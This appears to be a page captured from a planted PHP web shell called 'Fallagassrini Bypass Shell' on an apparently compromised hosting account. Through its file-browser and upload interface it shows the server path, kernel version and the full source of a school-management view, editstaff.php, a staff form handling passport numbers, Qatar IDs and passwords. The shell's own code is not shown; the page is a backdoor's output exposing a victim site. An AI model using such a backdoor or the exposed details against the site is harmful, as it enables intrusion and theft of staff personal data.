? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koolkids/school/application/views/Teacher/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koolkids/school/application/views/Teacher/editstaff.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$designation_list=$this->mastermodel->getdatas('designation','designation_name');
$department_list=$this->mastermodel->getdatas('department','department_name');
$profile_details = $this->mastermodel->get_data('user_profiles','Non-Teaching Staff','profile_user_type');
?>

		<span class="section_content_top"></span>

		<div class="section_content_inner">
						
                    <?php
                    $attributes=array('class'=>'search_form','id'=>'validateform');
                    echo form_open('teacher/addinteacher/updatestaff/viewstaff/1/',$attributes);
                    ?>
                    <input type="hidden" value="<?=$staff->staff_id;?>" name="masterid"/>
                        <!--[if !IE]>start fieldset<![endif]-->
                        <fieldset>
                                <!--[if !IE]>start forms<![endif]-->
                                <div class="forms">
                                    <div class="backicon">
                                        <a  href="#"  onclick="viewdata('teacher','viewinteachersearch','searchstaff','viewstaff','<?=$_SESSION['pagenum'];?>')">
                                            <img src="<?=base_url()?>assets/images/backicon.png" alt="back-icon" title="Back"/>
                                        </a>
                                    </div>
                                <h3>Update</h3>
                               
                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Name</label>
                                        <div class="inputs">
                                                <span class="input_wrapper"><input class="text required" name="name" id="name" type="text" value="<?=$staff->name;?>" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Staff No</label>
                                        <div class="inputs">
                                            <span class="input_wrapper"><input class="text required" readonly name="staff_no" id="staff_no" type="text" value="<?=$staff->staff_no;?>"/></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                   <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Designation</label>
                                        <div class="inputs">
                                            <span class="input_wrapper select_wrapper">
                                                <select name="designation_id" id="designation_id" class="required">
                                                     <option value="">--Select--</option>
                                                    <?php
                                                            foreach ($designation_list as $row)
                                                            { ?>
                                                                <option value="<?=$row['designation_id']?>" <?php if($staff->designation_id==$row['designation_id']){ echo "selected"; } ?>><?=$row['designation_name']?></option>
                                                            <?php
                                                            }
                                                            ?>
                                                </select>
                                            </span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Department</label>
                                        <div class="inputs">
                                             <span class="input_wrapper select_wrapper">
                                                <select name="department_id" id="department_id" class="required">
                                                     <option value="">--Select--</option>
                                                    <?php
                                                            foreach ($department_list as $row)
                                                            {
                                                    ?>
                                                                <option value="<?=$row['department_id']?>" <?php if($staff->department_id==$row['department_id']){ echo "selected"; } ?>><?=$row['department_name']?></option>
                                                    <?php
                                                            }
                                                    ?>
                                                </select>
                                            </span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                              
                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Email</label>
                                        <div class="inputs">
                                                <span class="input_wrapper"><input class="text email" name="email" id="email" type="text" value="<?=$staff->email;?>" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Contact No</label>
                                        <div class="inputs">
                                                <span class="input_wrapper"><input class="text" name="contact_no" id="contact_no" type="text" value="<?=$staff->contact_no;?>" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                   <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Mobile No</label>
                                        <div class="inputs">
                                                <span class="input_wrapper"><input class="text" name="mobile_no" id="mobile_no" type="text" value="<?=$staff->mobile_no;?>" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Passport No</label>
                                        <div class="inputs">
                                                <span class="input_wrapper"><input class="text" name="passport_no" id="passport_no" type="text" value="<?=$staff->passport_no;?>"/></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Qatar ID</label>
                                        <div class="inputs">
                                                <span class="input_wrapper"><input class="text" name="qatar_id" id="qatar_id" type="text" value="<?=$staff->qatar_id;?>" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Sponsorship Details</label>
                                        <div class="inputs">
                                            <span class="input_wrapper select_wrapper">
                                                <select name="sponsorship" id="sponsorship">
                                                     <option value="">--Select--</option>
                                                    <option value="Husband" <?php if($staff->sponsorship=="Husband"){echo "selected";}?>>Husband</option>
                                                    <option value="Parent" <?php if($staff->sponsorship=="Parent"){echo "selected";}?>>Parent</option>
                                                    <option value="KoolKidz" <?php if($staff->sponsorship=="KoolKidz"){echo "selected";}?>>KoolKidz</option>
                                                </select>
                                            </span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                </div>


                        </fieldset>
                        <!--[if !IE]>end fieldset<![endif]-->

                        <!--[if !IE]>start fieldset<![endif]-->
                        <fieldset>
                                <!--[if !IE]>start forms<![endif]-->
                                <div class="forms">
                                <h3>Staff Address</h3>
                               <div class="row"
                                        <label>Permanent Address</label>
                                        <div class="inputs">
                                            <textarea name="address_permanent" id="address_permanent"><?=$address->address_permanent;?></textarea>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->


                               <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Permanent Country</label>
                                        <div class="inputs">
                                            <span class="input_wrapper"><input class="text" name="country_permanent" id="country_permanent" type="text" value="<?=$address->country_permanent;?>" /></span>
                                        </div>
                                </div>
                               <div class="row"
                                        <label>Present Address</label>
                                        <div class="inputs">
                                            <textarea name="address_present" id="address_present"><?=$address->address_present;?></textarea>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->


                               <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Present Country</label>
                                        <div class="inputs">
                                            <span class="input_wrapper"><input class="text" name="country_present" id="country_present" type="text" value="<?=$address->country_present;?>" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                <?php
                                $num=$this->mastermodel->get_data_srow('user',$staff->staff_id,'linkedto_id');
                                if(count($num)==0)
                                {
                                ?>

                                <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Create User?</label>
                                        <div class="inputs">
                                                <input type="checkbox" name="create_user" onchange="showhideuser(this)"/>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                <div style="display:none;" id="createuser">
                                <div class="row">
                                        <label>Username</label>
                                        <div class="inputs">
                                                <span class="input_wrapper"><input class="text" name="username" id="username" type="text" onchange="checkexistence('user','username',this.value)"  /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Password</label>
                                        <div class="inputs">
                                            <span class="input_wrapper"><input class="text" name="password" id="password" type="password" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                         <!--[if !IE]>end row<![endif]-->

                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Confirm Password</label>
                                        <div class="inputs">
                                            <span class="input_wrapper"><input class="text" name="password1" id="password1" type="password"  onchange="checkpassword('password','password1')" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->




                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Select Profile</label>
                                        <div class="inputs">
                                            <span class="input_wrapper select_wrapper">
                                                 <select name="profile_id" id="profile_id" class="" >
                                                    <?php foreach ($profile_details as $row)
                                                    { ?>
                                                        <option value="<?=$row['profile_id']?>"><?=$row['name']?></option>
                                                    <?php
                                                    }
                                                    ?>

                                                    </select>
                                            </span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->
                                </div>
                                <?php
                                }
                               else
                                {
                                ?>

                                <div class="row">
                                        <label>Username</label>
                                        <div class="inputs">
                                            <span class="input_wrapper"><input class="text required" value="<?=$num->username;?>" name="username" id="username" type="text" onchange="checkexistence('user','username',this.value)"  /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Password</label>
                                        <div class="inputs">
                                            <span class="input_wrapper"><input class="text" name="password" id="password" type="password" /></span>
                                        </div>
                                </div>
                                <!--[if !IE]>end row<![endif]-->

                                         <!--[if !IE]>end row<![endif]-->






                                 <!--[if !IE]>start row<![endif]-->
                                <div class="row">
                                        <label>Select Profile</label>
                                        <div class="inputs">
                                            <span class="input_wrapper select_wrapper">
                                                 <select name="profile_id" id="profile_id" class="required" >
                                                    <?php foreach ($profile_details as $row)
                                                    { ?>
                                                        <option value="<?=$row['profile_id']?>"<?php if($row['profile_id']==$num->profile_id){echo "selected";}?>><?=$row['name']?></option>
                                                    <?php
                                                    }
                                                    ?>

                                                    </select>
                                            </span>
                                        </div>

                                </div>
                                 <?php
                                }
                                ?>


                                
                                <!--[if !IE]>start row<![endif]-->
								<div class="row">
									<div class="inputs">
                                                                            <input type="hidden" name="tab_name" value="staff"/>
										<span class="button blue_button search_button" onclick="addformdata('validateform')"><span><span><em>Update</em></span></span><input name="" type="submit" /></span>
										
										
									</div>
								</div>
								<!--[if !IE]>end row<![endif]-->
                                </div>

                                <!--[if !IE]>end forms<![endif]-->

                                






                        </fieldset>
                        <!--[if !IE]>end fieldset<![endif]-->

							
		<?php

                  echo form_close();
                  ?>
						
						</div>
						
			<span class="section_content_bottom"></span>

                         

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net